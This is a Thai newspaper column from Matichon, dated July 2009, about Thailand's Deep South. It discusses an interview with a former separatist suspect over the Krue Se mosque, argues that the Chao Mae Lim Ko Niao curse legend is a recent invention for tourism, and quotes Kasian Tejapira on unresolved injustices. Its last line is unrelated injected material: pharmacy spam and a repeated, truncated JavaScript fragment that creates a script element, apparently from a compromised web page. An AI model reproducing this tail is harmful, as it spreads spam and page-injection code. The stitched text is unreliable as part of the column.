หนังสือพิมพ์มติชน ฉบับประจำวันศุกร์ที่ 3 กรกฎาคม 2552


ผู้ปรารถนาดีมีเมตตา ส่งหนังสือมาให้อ่านชื่อ deepsouth bookazine เรียนรู้และเข้าใจชายแดนใต้ volume 4 Change ไฟใต้ พร้อมทั้งเขียนลายมือกำกับไว้หน้าแรกว่า

“คุณสุจิตต์—เผื่ออธิบายภาคใต้ได้ดีขึ้นครับ”

แสดงว่าที่เคยเขียนเกี่ยวกับภาคใต้หลายครั้งยังไม่ดี ต้องพัฒนาให้ดีขึ้นอีกถึงจะดี จึงขอน้อมรับไว้ด้วยสำนึกในพระเดชพระคุณอย่างสูงยิ่ง แล้วจะพยายามทำให้ดีขึ้นตามที่กรุณาบอกให้รู้

Deepsouth เล่มนี้มีบทสัมภาษณ์ สรายุทธ สกุลนาสันติศาสน์ หรือ “หมอดิง” เจ้าหน้าที่สถานีอนามัยฯ เรื่อง“อิสสาม”สู้“ชาตินิยม” ปากคำ“หมอดิง” อดีตกบฏแห่งรัฐไทย มีข้อความต่อไปนี้

หมอดิงเห็นว่ามัสยิดกรือเซะเป็นมัสยิดเก่าแก่ในพื้นที่ ซึ่งขณะนั้นกรมศิลปากรได้ขึ้นทะบียนเป็นโบราณสถาน ห้ามมุสลิมเข้าไปประกอบศาสนกิจ ขณะเดียวกันก็มีการโปรโมทตำนานเจ้าแม่ลิ้มกอเหนี่ยวที่สาปแช่งไม่ให้มัสยิดแห่งนี้ก่อสร้างสำเร็จ เพื่อดึงดูดการท่องเที่ยว

“ผมอยากพิสูจน์ให้ดู จะไปสร้างเอง ดูซิว่าฟ้าจะผ่าจริงอย่างเขาว่ามั้ย ที่จริงแล้วสร้างไม่ได้ เพราะติดกฎหมายโบราณสถาน ใครฝ่าฝืนก็ติดคุกสองปีก็ถอนการขึ้นทะเบียนสิ จะได้สร้างใหม่เพื่อลบล้างคำสาป

ทางการต้องการหาประโยชน์เพื่อการท่องเที่ยว อ้างเจ้าแม่เพื่อคนจีนมาเที่ยว เราก็เคารพนะ แต่ว่าอย่ามาดูถูกของฉัน แสดงว่าเจ้าแม่ของคุณมาเหนือกว่าอัลเลาะห์ของฉัน แค่สาปแช่งก็ฟ้าผ่าแล้ว”

ผลของการกระทำนั้น deepsouth รายงานว่า ทางการไทยตั้งข้อกล่าวหาเขาเป็น “กบฏแบ่งแยกดินแดน” จากการที่เขาเป็นแกนนำประท้วงให้ถอนการขึ้นทะเบียนมัสยิดกรือเซะเป็นโบราณสถาน ในห้วงปี 2530-2533 จนต้องหนีหัวซุกหัวซุน ด้วยไม่อาจวางใจฝ่ายใดได้ ไม่ว่ารัฐหรือขบวนการใต้ดิน

กระทั่งถูกทางการมาเลเซียควบคุมตัวส่งให้รัฐบาลไทย และถูกศาลชั้นต้นพิพากษาจำคุก 31 ปี

กรณีเจ้าแม่สาปแช่งการก่อสร้างมัสยิดกรือเซะ ไม่มีอยู่ในประชุมพงศาวดารภาคที่ 3 ซึ่งเป็นต้นฉบับเก่าสุด แสดงว่าเจ้าแม่ลิ้มกอเหนี่ยวไม่เคยสาปแช่งให้ฟ้าผ่าจนสร้างมัสยิดกรือเซะไม่สำเร็จ แต่เพิ่งมีผู้แต่งเติมให้เจ้าแม่สาปแช่งให้ฟ้าผ่าเมื่อไม่กี่สิบปีมานี้เอง เพราะทางราชการสมคบกับนักธุรกิจชาวเมืองพวกหนึ่งอยาก“ขาย”การท่องเที่ยว

กระทรวงวัฒนธรรม, และกระทรวงศึกษาธิการ, กับกระทรวงมหาดไทย ควรร่วมกันเผยแพร่“ความจริง”เรื่องเจ้าแม่ จะขอคัดใจความตอนท้ายบทความเรื่อง       ข้อคำนึงเรื่องการเมืองนำการทหารที่ชายแดนใต้ ของ เกษียร เตชะพีระ         (มติชน ฉบับวันศุกร์ที่ 26 มิถุนายน 2552 หน้า 6) มาดังนี้

“นับแต่ตอนก่อตั้งคณะกรรมการอิสระเพื่อความสมานฉันท์แห่งชาติ (กอส.) ก็มีการตัดตอนคำว่า ‘ยุติธรรม’ ออกไปจากชื่อคณะกรรมการอย่างชวนฉงน ทั้งที่คณะกรรมการแบบเดียวกันในประเทศอื่นๆ เขาจะใส่คำว่า ‘ยุติธรรม’ หรือ ‘ความจริง’ แสดงวัตถุประสงค์ไว้ชัดแจ้งในชื่อเป็นนิจศีล

และจนบัดนี้ ประเด็นนี้ก็ยังค้างคาอยู่ในใจชองชาวบ้านชายแดนภาคใต้ที่รู้สึกว่าตนไม่ได้รับความยุติธรรมโดยชอบด้วยกฎหมายจากทางราชการ ไม่ว่าในกรณีตากใบ, กรณีมัสยิดกรือเซะ, กรณีสะบ้าย้อย, กรณีอุ้มทนายสมชาย นีละไพจิตร และกรณีอุ้มหาย ทรมานและถึงแก่ความตายในระหว่างถูกคุมตัวอื่นๆ”
buy fluoxetine in the uk dutasteride side effectsvar d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);